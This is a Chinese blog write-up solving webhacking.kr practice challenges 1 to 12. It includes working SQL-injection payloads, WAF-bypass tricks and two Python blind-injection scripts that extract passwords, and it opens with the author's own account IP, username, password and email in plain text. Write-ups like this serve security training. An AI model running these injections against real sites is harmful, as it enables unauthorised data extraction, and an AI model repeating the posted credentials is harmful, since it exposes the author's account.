Hackingweb.kr Writeup
算是另外一个韩国的CTFOJ。似乎年龄比solveme.kr长一些,题目还是挺不错的

账号

ip  58.40.138.191
id  shaoba0
pw  348959214
email   shaobaobaoer@126.com

web-1

index.phps

<?
if(!$_COOKIE[user_lv])
{
SetCookie("user_lv","1");
echo("<meta http-equiv=refresh content=0>");
}
?>
<?

$password="????";

if(eregi("[^0-9,.]",$_COOKIE[user_lv])) $_COOKIE[user_lv]=1;

if($_COOKIE[user_lv]>=6) $_COOKIE[user_lv]=1;

if($_COOKIE[user_lv]>5) @solve();

echo("<br>level : $_COOKIE[user_lv]");

?>

很简单,吧user_lv改成 5.5 就可以了

web-02

进去一个好大的网页

在index.php处查看源码可以找到隐藏的admin页面

    <area shape="rect" coords="592,63,651,92" href="bbs/index.php" target="" alt="" />
    <area shape="rect" coords="662,64,745,93" href="fun.php" target="" alt="" />
    <area shape="rect" coords="756,63,825,93" href="contact.php" target="" alt="" />
    <area shape="rect" coords="851,7,890,65" href="admin/" target="" alt="" />

</map>

点击进入发现要输入密码。
另外发现有一个地方也要输入密码
Hackingweb.kr 做题记录 (1-12)-ShaoBaoBaoEr's Blog

在cookie处有一个时间戳有点古怪,查看源码的时候会在注释中显示我们现在的时间。除去session外,也只有这个cookie是突破口了。

Cookie: time=1534988192 and 1=0--+; PHPSESSID=shaobao
>> <!--2070-01-01 09:00:00--></td>

Cookie: time=1534988192 and 1=1--+; PHPSESSID=shaobao
>> <!--2070-01-01 09:00:01--></td>

通过改cookie可以达到注入的目的,另外不能用井号,似乎被过滤了。

脚本也是比价坑的,疑似information之类的字段被过滤,需要直接猜。

脚本如下所示

    def __init__(self):
        self.url = 'http://webhacking.kr/challenge/web/web-02/'

    def half_ascii_data(self):
        # column email_id = 0x656d61696c5f6964
        # table emails = 0x656d61696c73
        url = self.url
        payload = " and ascii(substr((select password from admin),%s,1))>%s--+"
        data = ""
        print("Start to retrive the password from admin")
        for i in range(1, 20):
            max = 127  # z
            min = 32  # A
            while abs(max - min) > 1:
                mid = int((max + min) / 2)
                p = payload % (str(i), str(mid))
                header  = {
                    'Cookie':'time=1534988192'+p+';PHPSESSID=shaobao'
                }
                # print(header)
                response = requests.get(url,headers=header)
                # print(response.text)
                # print(re.findall(r"<!--(.*?)-->",response.text))
                if response.text.find("09:00:01") != -1:
                    min = mid
                else:
                    max = mid
            data = data + chr(max)
            print("the data is :%s" % data)

得到0nly_admin的密码,翻译如下

管理页面
通知
- 小心不要让管理员密码泄露。
- 对于初次使用的用户,请参阅手册(手动密码:@ dM1n__nnanual)

另外那个board地方的密码也可以注入,表名为FreeB0aRd
Hackingweb.kr 做题记录 (1-12)-ShaoBaoBaoEr's Blog

通过注入得到密码为

the data is :7598522ae

下载下来是一个压缩包,利用密码 @dM1n__nnanual打开
可以得到如下信息

패스워드는 HacKed_by_n0b0dY 입니다.

FLAG 应该就是这个了,就是不知道去哪里提交

WEB-3

最后拼成了个这样的东西。多试试就知道,5表示连续的5个黑格子,1 1 1 表示间隔开的三个黑格子以此类推

Hackingweb.kr 做题记录 (1-12)-ShaoBaoBaoEr's Blog

之后进入一个页面让我输入名字,BP抓包有另一个参数,对其进行注入。发现--+,#,=,',or,and都被过滤,用 || 1可以绕过

Hackingweb.kr 做题记录 (1-12)-ShaoBaoBaoEr's Blog

最后的flag是 answer : new_sql_injection

WEB-4

能够解两次sha1的网站不多,给大家推荐一个网站Hashkiller
B64解密,SHA1解密,SHA1解密得到test。

WEB-5

join.php需要输入路径才能访问,得到下面一串长相诡异的JS

l='a';ll='b';lll='c';llll='d';lllll='e';llllll='f';lllllll='g';llllllll='h';lllllllll='i';llllllllll='j';lllllllllll='k';llllllllllll='l';lllllllllllll='m';llllllllllllll='n';lllllllllllllll='o';llllllllllllllll='p';lllllllllllllllll='q';llllllllllllllllll='r';lllllllllllllllllll='s';llllllllllllllllllll='t';lllllllllllllllllllll='u';llllllllllllllllllllll='v';lllllllllllllllllllllll='w';llllllllllllllllllllllll='x';lllllllllllllllllllllllll='y';llllllllllllllllllllllllll='z';I='1';II='2';III='3';IIII='4';IIIII='5';IIIIII='6';IIIIIII='7';IIIIIIII='8';IIIIIIIII='9';IIIIIIIIII='0';li='.';ii='<';iii='>';lIllIllIllIllIllIllIllIllIllIl=lllllllllllllll+llllllllllll+llll+llllllllllllllllllllllllll+lllllllllllllll+lllllllllllll+ll+lllllllll+lllll;
lIIIIIIIIIIIIIIIIIIl=llll+lllllllllllllll+lll+lllllllllllllllllllll+lllllllllllll+lllll+llllllllllllll+llllllllllllllllllll+li+lll+lllllllllllllll+lllllllllllllll+lllllllllll+lllllllll+lllll;if(eval(lIIIIIIIIIIIIIIIIIIl).indexOf(lIllIllIllIllIllIllIllIllIllIl)==-1) { bye; }if(eval(llll+lllllllllllllll+lll+lllllllllllllllllllll+lllllllllllll+lllll+llllllllllllll+llllllllllllllllllll+li+'U'+'R'+'L').indexOf(lllllllllllll+lllllllllllllll+llll+lllll+'='+I)==-1){alert('access_denied');history.go(-1);}else{document.write('<font size=2 color=white>Join</font><p>');document.write('.<p>.<p>.<p>.<p>.<p>');document.write('<form method=post action='+llllllllll+lllllllllllllll+lllllllll+llllllllllllll+li+llllllllllllllll+llllllll+llllllllllllllll
+'>');document.write('<table border=1><tr><td><font color=gray>id</font></td><td><input type=text name='+lllllllll+llll+' maxlength=5></td></tr>');document.write('<tr><td><font color=gray>pass</font></td><td><input type=text name='+llllllllllllllll+lllllllllllllllllllllll+' maxlength=10></td></tr>');document.write('<tr align=center><td colspan=2><input type=submit></td></tr></form></table>');}

实际上解下来就这样,前面的waf意义不是很大

    document.write('<font size=2 color=white>Join</font><p>');
    document.write('.<p>.<p>.<p>.<p>.<p>');
    document.write('<form method=post action='+'join.php'+ '>');
    document.write('<table border=1><tr><td><font color=gray>id</font></td><td><input type=text name=' +'id' + ' maxlength=5></td></tr>');
    document.write('<tr><td><font color=gray>pass</font></td><td><input type=text name=' + 'pw' + ' maxlength=10></td></tr>');
    document.write('<tr align=center><td colspan=2><input type=submit></td></tr></form></table>');

所以我们只要post id 和 pw参数即可。

这里的考点是如果注册 'admin ':'1234'的话会把原本admin的密码给改了,算是一个比较陈旧的考点。
随后用 'admin':'1234'的用户名密码登录

WEB-6

先拿到源码如下

 <?php
if(!$_COOKIE[user])
{
    $val_id="guest";
    $val_pw="123qwe";

    for($i=0;$i<20;$i++)
    {
        $val_id=base64_encode($val_id);
        $val_pw=base64_encode($val_pw);

    }

    $val_id=str_replace("1","!",$val_id);
    $val_id=str_replace("2","@",$val_id);
    $val_id=str_replace("3","$",$val_id);
    $val_id=str_replace("4","^",$val_id);
    $val_id=str_replace("5","&",$val_id);
    $val_id=str_replace("6","*",$val_id);
    $val_id=str_replace("7","(",$val_id);
    $val_id=str_replace("8",")",$val_id);

    $val_pw=str_replace("1","!",$val_pw);
    $val_pw=str_replace("2","@",$val_pw);
    $val_pw=str_replace("3","$",$val_pw);
    $val_pw=str_replace("4","^",$val_pw);
    $val_pw=str_replace("5","&",$val_pw);
    $val_pw=str_replace("6","*",$val_pw);
    $val_pw=str_replace("7","(",$val_pw);
    $val_pw=str_replace("8",")",$val_pw);

    Setcookie("user",$val_id);
    Setcookie("password",$val_pw);

    echo("<meta http-equiv=refresh content=0>");
}
?>

<html>
<head>
<title>Challenge 6</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>

<?

$decode_id=$_COOKIE[user];
$decode_pw=$_COOKIE[password];

$decode_id=str_replace("!","1",$decode_id);
$decode_id=str_replace("@","2",$decode_id);
$decode_id=str_replace("$","3",$decode_id);
$decode_id=str_replace("^","4",$decode_id);
$decode_id=str_replace("&","5",$decode_id);
$decode_id=str_replace("*","6",$decode_id);
$decode_id=str_replace("(","7",$decode_id);
$decode_id=str_replace(")","8",$decode_id);

$decode_pw=str_replace("!","1",$decode_pw);
$decode_pw=str_replace("@","2",$decode_pw);
$decode_pw=str_replace("$","3",$decode_pw);
$decode_pw=str_replace("^","4",$decode_pw);
$decode_pw=str_replace("&","5",$decode_pw);
$decode_pw=str_replace("*","6",$decode_pw);
$decode_pw=str_replace("(","7",$decode_pw);
$decode_pw=str_replace(")","8",$decode_pw);


for($i=0;$i<20;$i++)
{
    $decode_id=base64_decode($decode_id);
    $decode_pw=base64_decode($decode_pw);
}

echo("<font style=background:silver;color:black>  HINT : base64  </font><hr><a href=index.phps style=color:yellow;>index.phps</a><br><br>");
echo("ID : $decode_id<br>PW : $decode_pw<hr>");

if($decode_id=="admin" && $decode_pw=="admin")
{
    @solve(6,100);
}
?>

虽然代码又臭又长,可一开始的替换可以忽略,接着是base64解密20次,解密之后的值如果和admin相等的话,就能通过了。

from  base64 import b64encode
a = "admin"
for i in range(20):
    a=b64encode(a)
print (a)

WEB-07

<?
$answer = "????";

$go=$_GET[val];

if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }

$ck=$go;

$ck=str_replace("*","",$ck);
$ck=str_replace("/","",$ck);


echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");


if(eregi("--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column",$ck)) exit("Access Denied!");

if(eregi(' ',$ck)) { echo('cannot use space'); exit(); }

$rand=rand(1,5);
if($rand==1)
{
$result=@mysql_query("select lv from lv1 where lv=($go)") or die("nice try!");
}
...// 每个随机数对应不同的sql语句,选出来的结果是一样的

$data=mysql_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]!=1 && $data[0]!=2) { exit(); }

echo("<!-- admin mode : val=2 -->");
if($data[0]==2)
{
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Congratulation')><p>");
@solve();
} 

随机数的话多试几次总有和payload一样的。我们需要 union select 2 。空格被过滤,/**/也被过滤了。可以用%0a %0b来代替。2被过滤,可以用3-1来代替。当rand为1的时候,构造的payload如下所示

0)%0aunion%0aselect%0a3-1(

以上payload并不成功,因为管理员开启了全局的Apache mod_security tool,我在stackoverflow上查到了这样的帖子

由于*会被替换为空,所以用*把关键字隔开即可

0)%0au*ni*on%0ase*le*ct%0a3-1(

即可完成注入

WEB-8

index.phps

<?

$agent=getenv("HTTP_USER_AGENT");
$ip=$_SERVER[REMOTE_ADDR];

$agent=trim($agent);

$agent=str_replace(".","_",$agent);
$agent=str_replace("/","_",$agent);

$pat="/\/|\*|union|char|ascii|select|out|infor|schema|columns|sub|-|\+|\||!|update|del|drop|from|where|order|by|asc|desc|lv|board|\([0-9]|sys|pass|\.|like|and|\'\'|sub/";
# 没有过滤 #
# 很明显用 union select 是不能够把admin选出来的,因为过滤比较严格。
# 考虑到下面还有插入的东西,所以正确的思路是把admin插入后再把admin选出来
$agent=strtolower($agent);

if(preg_match($pat,$agent)) exit("Access Denied!");

$_SERVER[HTTP_USER_AGENT]=str_replace("'","",$_SERVER[HTTP_USER_AGENT]);
$_SERVER[HTTP_USER_AGENT]=str_replace("\"","",$_SERVER[HTTP_USER_AGENT]);
# 此时单引号和反斜杠被过滤了,但是过滤的是 $_SERVER[HTTP_USER_AGENT] 而不是 $agent

$count_ck=@mysql_fetch_array(mysql_query("select count(id) from lv0"));
if($count_ck[0]>=70) { @mysql_query("delete from lv0"); }


$q=@mysql_query("select id from lv0 where agent='$_SERVER[HTTP_USER_AGENT]'");

$ck=@mysql_fetch_array($q);

if($ck)
{ 
echo("hi <b>$ck[0]</b><p>");
if($ck[0]=="admin")

{
@solve();
@mysql_query("delete from lv0");
}

####    分为两部分看    ######
# 由于这里插入的值是 $agent 也就是说agent的单引号是不会被过滤的
if(!$ck)
{
$q=@mysql_query("insert into lv0(agent,ip,id) values('$agent','$ip','guest')") or die("query error");
# $..$ 表示注入的内容
# insert into lv0 (agent,ip,id) values ('$admin','1.1.1.1','admin')#$' ,'192.168.1.68','guest')
echo("<br><br>done!  ($count_ck[0]/70)");
}
  • 第一步,注入 agnet
    • User-Agent: admin','1.1.1.1','admin')#
  • 第二步,拿 flag
    • User-Agent: admin

WEB-9

依然是sql注入,这道题的waf比较严格,不能有注释,空格,引号,等号。这注入的姿势还是看WP的。
由于给出了hint。所以id字段是可以被选出来的。由于等号被过滤,所以要用in来完成。脚本如下,爆破速度很慢

Secret
hint : length = 11
column : id,no

import requests
import re

class WEB9(object):
    def __init__(self):
        self.url= "http://webhacking.kr/challenge/web/web-09/index.php?no="

    def half_ascii_data(self):
        # column email_id = 0x656d61696c5f6964
        # table emails = 0x656d61696c73
        url = self.url
        payload = "if(substr(id,%s,1)in(%s),3,0)"
        data = ""
        print("Start to retrive the id")
        for i in range(1, 20):
            max = 127  # z
            min = 32  # A
            while min<=max:
                # mid = int((max + min) / 2)
                p = payload % (str(i), str(hex(min)))
                header  = {
                    'Cookie':'PHPSESSID=8de23fe44208a0266e2b58050c2351d8'
                }
                # print(header)
                # print(url+p)
                response = requests.get(url+p,headers=header)
                # print(response.text)
                # print(re.findall(r"<br>Secret(.*?)>",response.text))
                if response.text.find("Secret") == -1:
                    min +=1
                else:
                    break
            data = data + chr(min)
            print("the data is :%s" % data)


if __name__ == '__main__':
    WEB9().half_ascii_data()

最终的答案是ALSRKSWHAQL;当然这里由于是general_cli的牌序,所以大小写不区分,全部小写alsrkswhaql得flag;

WEB-10

查看一波源码

onclick="this.style.posLeft+=1;if(this.style.posLeft==800)this.href='?go='+this.style.posLeft" 

有这个东西,传入参数 go=800 提示nohack
加入 Refer参数;成功
Hackingweb.kr 做题记录 (1-12)-ShaoBaoBaoEr's Blog

WEB-11

$pat="/[1-3][a-f]{5}_.*58.40.138.191.*\tp\ta\ts\ts/";

if(preg_match($pat,$_GET[val])) { echo("Password is ????"); }

只要绕过正则就可以了
第一个必须是数字1-3
第2-6个必须是字母a-f
第7个必须是下划线_
第8个往后是你的ip地址.*任意匹配2个字符,.任意匹配一个字符

3aaaaa_ll58l40l138l191ll    p   a   s   s

即可

WEB-12

很简单的一个解JS混淆
把eval用console.log代替即可,可以接到一个这个

if(ck=="="+String.fromCharCode(enco_(240))+String.fromCharCode(enco_(220))+String.fromCharCode(enco_(232))+String.fromCharCode(enco_(192))+String.fromCharCode(enco_(226))+String.fromCharCode(enco_(200))+String.fromCharCode(enco_(204))+String.fromCharCode(enco_(222-2))+String.fromCharCode(enco_(198))+"~~~~~~"+String.fromCharCode(enco2)+String.fromCharCode(enco3))
{
alert("Password is "+ck.replace("=",""));
// youaregod~~~~~~~!
}

得到PWD=youaregod~~~~~~~!
提交即可